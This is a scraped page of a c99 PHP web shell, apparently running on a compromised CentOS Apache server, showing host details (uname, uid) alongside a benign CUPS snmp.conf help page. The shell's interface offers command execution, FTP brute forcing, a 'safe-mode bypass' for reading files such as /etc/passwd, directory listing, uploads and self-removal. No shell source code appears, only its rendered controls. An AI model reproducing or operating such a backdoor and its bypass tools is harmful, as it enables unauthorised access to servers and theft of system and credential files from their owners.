!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/cups-1.3.7/help/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ref-snmp-conf.html (3.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
snmp.conf

The /etc/cups/snmp.conf file contains several directives that determine how the SNMP printer discovery backend behaves. Each directive is listed on a line by itself followed by its value. Comments are introduced using the number sign ("#") character at the beginning of a line.

The SNMP backend uses the SNMPv1 protocol to discover network printers, collecting information from the Host MIB along with intelligent port probes to determine the correct device URI and make and model for each printer. Future versions of CUPS will likely support the new Port Monitor MIB as well.

Address

Examples

Address @LOCAL
Address @IF(name)
Address 255.255.255.255
Address 192.168.2.255

Description

The Address directive specifies a broadcast address to use when discovering printers. Multiple Address lines can be provided to scan different subnets.

The default address is @LOCAL, which broadcasts to all LANs.

Community

Examples

Community public
Community easysw
Community BigCorp

Description

The Community directive specifies a community name to use when discovering printers. Multiple Community lines can be provided to scan different SNMP communities.

The default community is "public".

DebugLevel

Examples

DebugLevel 0
DebugLevel 1
DebugLevel 2
DebugLevel 3

Description

The DebugLevel directive specifies the debugging level to use when searching for network printers. Level 0 produces no debugging information. Level 1 produces basic debugging information. Level 2 adds printing of the SNMP messages. Level 3 adds a hex dump of the network data.

The default setting is 0.

DeviceURI

Examples

DeviceURI "HP.*JetDirect.*" socket://%s:9100 socket://%s:9101 socket://%s:9102
DeviceURI "HP.*" socket://%s
DeviceURI "Acme.*Laser.*" lpd://%s/print
DeviceURI "Xerox.*"

Description

The DeviceURI directive specifies a regular expression (enclosed in double quotes) that is matched against the SNMP device description OID returned by a printer. If the description matches the regular expression, each device URI that follows the regular expression is listed by the backend, with any occurrences of %s replaced by the device's hostname or IP address. If no URIs are listed, the device is ignored.

The DeviceURI directives are processed serially in the order specified in the snmp.conf file until a match is found.

HostNameLookups

Examples

HostNameLookups on
HostNameLookups off

Description

The HostNameLookups directive specifies whether printer addresses are converted to hostnames or left as numeric IP addresses.

The default setting is off.

MaxRunTime

Examples

MaxRunTime 10
MaxRunTime 300

Description

The MaxRunTime directive specifies the maxium number of seconds that the SNMP backend will spend looking for printer devices on the network.

The default setting is 10.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--